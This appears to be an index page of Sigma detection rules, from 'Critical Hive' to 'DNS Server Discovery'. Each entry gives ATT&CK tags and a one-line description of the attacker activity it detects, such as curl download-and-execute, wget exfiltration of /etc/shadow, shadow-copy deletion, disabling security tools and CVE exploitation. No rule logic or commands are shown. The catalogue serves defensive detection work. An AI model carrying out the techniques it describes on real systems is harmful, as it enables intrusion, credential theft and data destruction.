Critical Hive In Suspicious Location Access Bits Cleared

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·

Share on:

Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.

Crontab Enumeration

Aug 12, 2024 · attack.discovery attack.t1007 ·

Share on:

Detects usage of crontab to list the tasks of the user

Cross Site Scripting Strings

Aug 12, 2024 · attack.initial-access attack.t1189 ·

Share on:

Detects XSS attempts injected via GET requests in access logs

Crypto Miner User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects suspicious user agent strings used by crypto miners in proxy logs

Csc.EXE Execution Form Potentially Suspicious Parent

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 attack.defense-evasion attack.t1218.005 attack.t1027.004 ·

Share on:

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

Cscript/Wscript Uncommon Script Extension Execution

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

CSExec Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·

Share on:

Detects default CSExec service filename which indicates CSExec service installation and execution

CSExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·

Share on:

Detects CSExec service installation and execution events

Curl Download And Execute Combination

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.command-and-control attack.t1105 ·

Share on:

Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.

Curl Usage on Linux

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server

Curl Web Request With Potential Custom User-Agent

Aug 12, 2024 · attack.execution ·

Share on:

Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings

CurrentControlSet Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

CurrentVersion Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

CurrentVersion NT Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Custom File Open Handler Executes PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects the abuse of custom file open handler, executing powershell

CVE-2010-5278 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2010-5278 detection.emerging-threats ·

Share on:

MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.

CVE-2020-0688 Exchange Exploitation via Web Log

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·

Share on:

Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688

CVE-2020-0688 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·

Share on:

Detects CVE-2020-0688 Exploitation attempts

CVE-2020-0688 Exploitation via Eventlog

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·

Share on:

Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688

CVE-2020-10148 SolarWinds Orion API Auth Bypass

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-10148 detection.emerging-threats ·

Share on:

Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts

CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry

Aug 12, 2024 · attack.persistence attack.execution attack.defense-evasion attack.t1112 cve.2020-1048 ·

Share on:

Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.

CVE-2020-5902 F5 BIG-IP Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-5902 detection.emerging-threats ·

Share on:

Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902

CVE-2021-1675 Print Spooler Exploitation

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·

Share on:

Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675

CVE-2021-1675 Print Spooler Exploitation IPC Access

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 cve.2021-34527 detection.emerging-threats ·

Share on:

Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527

CVE-2021-21972 VSphere Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21972 detection.emerging-threats ·

Share on:

Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972

CVE-2021-21978 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21978 detection.emerging-threats ·

Share on:

Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978

CVE-2021-26858 Exchange Exploitation

Aug 12, 2024 · attack.t1203 attack.execution cve.2021-26858 detection.emerging-threats ·

Share on:

Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content

CVE-2021-31979 CVE-2021-33771 Exploits

Aug 12, 2024 · attack.credential-access attack.t1566 attack.t1203 cve.2021-33771 cve.2021-31979 detection.emerging-threats ·

Share on:

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum

Aug 12, 2024 · attack.credential-access attack.t1566 attack.t1203 cve.2021-33771 cve.2021-31979 detection.emerging-threats ·

Share on:

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

CVE-2021-33766 Exchange ProxyToken Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-33766 detection.emerging-threats ·

Share on:

Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766

CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit

Aug 12, 2024 · attack.initial-access attack.t1190 attack.persistence attack.t1505.003 cve.2021-40539 detection.emerging-threats ·

Share on:

Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).

CVE-2021-41773 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-41773 detection.emerging-threats ·

Share on:

Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.

CVE-2021-44077 POC Default Dropped File

Aug 12, 2024 · attack.execution cve.2021-44077 detection.emerging-threats ·

Share on:

Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)

CVE-2022-24527 Microsoft Connected Cache LPE

Aug 12, 2024 · attack.privilege-escalation attack.t1059.001 cve.2022-24527 detection.emerging-threats ·

Share on:

Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache

CVE-2022-31656 VMware Workspace ONE Access Auth Bypass

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-31656 detection.emerging-threats ·

Share on:

Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

CVE-2022-31659 VMware Workspace ONE Access RCE

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-31659 detection.emerging-threats ·

Share on:

Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659

CVE-2023-23397 Exploitation Attempt

Aug 12, 2024 · attack.credential-access attack.initial-access cve.2023-23397 detection.emerging-threats ·

Share on:

Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.

CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File

Aug 12, 2024 · attack.execution cve.2023-38331 detection.emerging-threats ·

Share on:

Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331

CVE-2023-40477 Potential Exploitation - .REV File Creation

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·

Share on:

Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.

CVE-2023-40477 Potential Exploitation - WinRAR Application Crash

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·

Share on:

Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477

DarkSide Ransomware Pattern

Aug 12, 2024 · attack.execution attack.t1204 detection.emerging-threats ·

Share on:

Detects DarkSide Ransomware and helpers

Data Compressed

Aug 12, 2024 · attack.exfiltration attack.t1560.001 ·

Share on:

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Data Copied To Clipboard Via Clip.EXE

Aug 12, 2024 · attack.collection attack.t1115 ·

Share on:

Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.

Data Exfiltration to Unsanctioned Apps

Aug 12, 2024 · attack.exfiltration attack.t1537 ·

Share on:

Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.

Data Exfiltration with Wget

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·

Share on:

Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.

DCERPC SMB Spoolss Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

DCOM InternetExplorer.Application Iertutil DLL Hijack - Security

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1021.003 ·

Share on:

Detects a threat actor creating a file named iertutil.dll in the C:\Program Files\Internet Explorer\ directory over the network for a DCOM InternetExplorer DLL Hijack scenario.

DD File Overwrite

Aug 12, 2024 · attack.impact attack.t1485 ·

Share on:

Detects potential overwriting and deletion of a file using DD.

Decode Base64 Encoded Text

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects usage of base64 utility to decode arbitrary base64-encoded text

Decode Base64 Encoded Text -MacOs

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects usage of base64 utility to decode arbitrary base64-encoded text

Default Cobalt Strike Certificate

Aug 12, 2024 · attack.command-and-control attack.s0154 ·

Share on:

Detects the presence of default Cobalt Strike certificate in the HTTPS traffic

Default Credentials Usage

Aug 12, 2024 · attack.initial-access ·

Share on:

Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

Default RDP Port Changed to Non Standard Port

Aug 12, 2024 · attack.persistence attack.t1547.010 ·

Share on:

Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Defrag Deactivation

Aug 12, 2024 · attack.persistence attack.t1053.005 attack.s0111 detection.emerging-threats ·

Share on:

Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group

Defrag Deactivation - Security

Aug 12, 2024 · attack.persistence attack.t1053 attack.s0111 detection.emerging-threats ·

Share on:

Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group

Delegated Permissions Granted For All Users

Aug 12, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects when highly privileged delegated permissions are granted on behalf of all users

Delete All Scheduled Tasks

Aug 12, 2024 · attack.impact attack.t1489 ·

Share on:

Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.

Delete Important Scheduled Task

Aug 12, 2024 · attack.impact attack.t1489 ·

Share on:

Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

Delete Volume Shadow Copies Via WMI With PowerShell

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Shadow Copies deletion using operating systems utilities via PowerShell

Delete Volume Shadow Copies via WMI with PowerShell - PS Script

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Deleted Data Overwritten Via Cipher.EXE

Aug 12, 2024 · attack.impact attack.t1485 ·

Share on:

Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives

Deletion of Volume Shadow Copies via WMI with PowerShell

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script

Aug 12, 2024 · attack.impact attack.t1490 ·

Share on:

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Denied Access To Remote Desktop

Aug 12, 2024 · attack.lateral-movement attack.t1021.001 ·

Share on:

This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.

Deny Service Access Using Security Descriptor Tampering Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.t1543.003 ·

Share on:

Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.

Deployment AppX Package Was Blocked By AppLocker

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects an appx package deployment that was blocked by AppLocker policy

Deployment Of The AppX Package Was Blocked By The Policy

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects an appx package deployment that was blocked by the local computer policy

Detect Virtualbox Driver Installation OR Starting Of VMs

Aug 12, 2024 · attack.defense-evasion attack.t1564.006 attack.t1564 ·

Share on:

Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.

Detected Windows Software Discovery

Aug 12, 2024 · attack.discovery attack.t1518 ·

Share on:

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

Detected Windows Software Discovery - PowerShell

Aug 12, 2024 · attack.discovery attack.t1518 ·

Share on:

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

Detection of PowerShell Execution via Sqlps.exe

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1127 ·

Share on:

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

Device Installation Blocked

Aug 12, 2024 · attack.initial-access attack.t1200 ·

Share on:

Detects an installation of a device that is forbidden by the system policy

Device Registration or Join Without MFA

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·

Share on:

Monitor and alert for device registration or join events where MFA was not performed.

DeviceCredentialDeployment Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the execution of DeviceCredentialDeployment to hide a process from view

Devil Bait Potential C2 Communication Traffic

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·

Share on:

Detects potential C2 communication related to Devil Bait malware

Devtoolslauncher.exe Executes Specified Binary

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

The Devtoolslauncher.exe executes other binary

DEWMODE Webshell Access

Aug 12, 2024 · attack.persistence attack.t1505.003 detection.emerging-threats ·

Share on:

Detects access to DEWMODE webshell as described in FIREEYE report

DHCP Callout DLL Installation

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.t1112 ·

Share on:

Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)

DHCP Server Error Failed Loading the CallOut DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded

DHCP Server Loaded the CallOut DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 cve.2022-30190 ·

Share on:

Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library

DiagTrackEoP Default Login Username

Aug 12, 2024 · attack.privilege-escalation ·

Share on:

Detects the default "UserName" used by the DiagTrackEoP POC

Direct Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·

Share on:

Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.

Directory Removal Via Rmdir

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

Directory Service Restore Mode(DSRM) Registry Value Tampering

Aug 12, 2024 · attack.persistence attack.t1556 ·

Share on:

Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.

DirectorySearcher Powershell Exploitation

Aug 12, 2024 · attack.discovery attack.t1018 ·

Share on:

Enumerates Active Directory to determine computers that are joined to the domain

DirLister Execution

Aug 12, 2024 · attack.discovery attack.t1083 ·

Share on:

Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.

Disable Administrative Share Creation at Startup

Aug 12, 2024 · attack.defense-evasion attack.t1070.005 ·

Share on:

Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system

Disable Exploit Guard Network Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender Exploit Guard Network Protection

Disable Macro Runtime Scan Scope

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros

Disable Microsoft Defender Firewall via Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage

Disable of ETW Trace - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562.006 car.2016-04-002 ·

Share on:

Detects usage of powershell cmdlets to disable or remove ETW trace sessions

Disable Or Stop Services

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services

Disable Powershell Command History

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·

Share on:

Detects scripts or commands that disabled the Powershell command history by removing psreadline module

Disable Privacy Settings Experience in Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects registry modifications that disable Privacy Settings Experience

Disable PUA Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender PUA protection

Disable Security Events Logging Adding Reg Key MiniNt

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.t1112 ·

Share on:

Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.

Disable Security Tools

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling security tools

Disable System Firewall

Aug 12, 2024 · attack.t1562.004 attack.defense-evasion ·

Share on:

Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

Disable Tamper Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects disabling Windows Defender Tamper Protection

Disable Windows Defender AV Security Monitoring

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects attackers attempting to disable Windows Defender using Powershell

Disable Windows Firewall by Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detect set EnableFirewall to 0 to disable the Windows firewall

Disable Windows IIS HTTP Logging

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)

Disable Windows Security Center Notifications

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detect set UseActionCenterExperience to 0 to disable the Windows security center notification

Disable-WindowsOptionalFeature Command PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

Disabled IE Security Features

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features

Disabled MFA to Bypass Authentication Mechanisms

Aug 12, 2024 · attack.persistence attack.t1556 ·

Share on:

Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.

Disabled Volume Snapshots

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects commands that temporarily turn off Volume Snapshots

Disabled Windows Defender Eventlog

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections

Disabling Multi Factor Authentication

Aug 12, 2024 · attack.persistence attack.t1556 ·

Share on:

Detects disabling of Multi Factor Authentication.

Disabling Security Tools

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects disabling security tools

Disabling Security Tools - Builtin

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects disabling security tools

Discovery of a System Time

Aug 12, 2024 · attack.discovery attack.t1124 ·

Share on:

Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.

Discovery Using AzureHound

Aug 12, 2024 · attack.discovery attack.t1087.004 attack.t1526 ·

Share on:

Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.

Disk Image Creation Via Hdiutil - MacOS

Aug 12, 2024 · attack.exfiltration ·

Share on:

Detects the execution of the hdiutil utility in order to create a disk image.

Disk Image Mounting Via Hdiutil - MacOS

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.t1560.001 ·

Share on:

Detects the execution of the hdiutil utility in order to mount disk images.

Django Framework Exceptions

Aug 12, 2024 · attack.initial-access attack.t1190 ·

Share on:

Detects suspicious Django web application framework exceptions that could indicate exploitation attempts

DLL Execution via Rasautou.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.

DLL Execution Via Register-cimprovider.exe

Aug 12, 2024 · attack.defense-evasion attack.t1574 ·

Share on:

Detects using register-cimprovider.exe to execute arbitrary dll file.

DLL Load By System Process From Suspicious Locations

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·

Share on:

Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"

DLL Load via LSASS

Aug 12, 2024 · attack.execution attack.persistence attack.t1547.008 ·

Share on:

Detects a method to load DLL via LSASS process using an undocumented Registry key

DLL Loaded From Suspicious Location Via Cmspt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 ·

Share on:

Detects cmstp loading "dll" or "ocx" files from suspicious locations

DLL Loaded via CertOC.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.

DLL Search Order Hijackig Via Additional Space in Path

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.002 ·

Share on:

Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack

DLL Sideloading by VMware Xfer Utility

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL

DLL Sideloading Of ShellChromeAPI.DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

Dllhost.EXE Execution Anomaly

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·

Share on:

Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.

DllUnregisterServer Function Call Via Msiexec.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 ·

Share on:

Detects MsiExec loading a DLL and calling its DllUnregisterServer function

DNS Events Related To Mining Pools

Aug 12, 2024 · attack.execution attack.t1569.002 attack.impact attack.t1496 ·

Share on:

Identifies clients that may be performing DNS lookups associated with common currency mining pools.

DNS Exfiltration and Tunneling Tools Execution

Aug 12, 2024 · attack.exfiltration attack.t1048.001 attack.command-and-control attack.t1071.004 attack.t1132.001 ·

Share on:

Well-known DNS Exfiltration tools execution

DNS HybridConnectionManager Service Bus

Aug 12, 2024 · attack.persistence attack.t1554 ·

Share on:

Detects Azure Hybrid Connection Manager services querying the Azure service bus service

DNS Query for Anonfiles.com Domain - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes

DNS Query for Anonfiles.com Domain - Sysmon

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes

DNS Query Request By Regsvr32.EXE

Aug 12, 2024 · attack.execution attack.t1559.001 attack.defense-evasion attack.t1218.010 ·

Share on:

Detects DNS queries initiated by "Regsvr32.exe"

DNS Query To AzureWebsites.NET By Non-Browser Process

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.

DNS Query to External Service Interaction Domains

Aug 12, 2024 · attack.initial-access attack.t1190 attack.reconnaissance attack.t1595.002 ·

Share on:

Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE

DNS Query To MEGA Hosting Website

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries for subdomains related to MEGA sharing website

DNS Query To MEGA Hosting Website - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries for subdomains related to MEGA sharing website

DNS Query To Ufile.io

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

DNS Query To Ufile.io - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·

Share on:

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

DNS Query Tor .Onion Address - Sysmon

Aug 12, 2024 · attack.command-and-control attack.t1090.003 ·

Share on:

Detects DNS queries to an ".onion" address related to Tor routing networks

DNS RCE CVE-2020-1350

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1569.002 cve.2020-1350 detection.emerging-threats ·

Share on:

Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process

DNS Server Discovery Via LDAP Query

Aug 12, 2024 · attack.discovery attack.t1482 ·

Share on:

